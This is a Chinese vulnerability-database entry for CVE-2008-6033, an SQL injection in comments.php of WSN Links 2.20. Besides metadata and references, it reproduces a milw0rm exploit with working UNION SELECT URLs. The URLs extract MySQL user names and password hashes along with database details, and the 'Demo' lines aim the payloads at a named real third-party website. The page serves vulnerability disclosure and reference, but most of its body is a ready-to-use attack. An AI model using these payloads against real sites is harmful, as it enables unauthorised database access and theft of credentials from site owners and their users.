WSN Links 'comments.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116191 漏洞类型 SQL注入
发布时间 2008-09-22 更新时间 2009-02-03
CVE编号 CVE-2008-6033 CNNVD-ID CNNVD-200902-022
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6525
https://cxsecurity.com/issue/WLB-2009020103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-022
|漏洞详情
WSNLinks是一个链接目录软件产品。WSNLinks2.20版本中的comments.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
[~] WSN Links 2.20 (comments.php) - SQL Injection Vulnerability
[~]
[~] http://scripts.webmastersite.net/wsnlinks/
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 21.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~] 
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~] 
[~] Pentest|Gibon|Pig
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~] http://site.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] 
[~] Demo :- 
[~]
[~] http://www.lara.on.ca/business/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
[~]
[~] http://www.lara.on.ca/business/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
[~]
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]
|参考资料

来源:BID
名称:31302
链接:http://www.securityfocus.com/bid/31302
来源:MILW0RM
名称:6525
链接:http://www.milw0rm.com/exploits/6525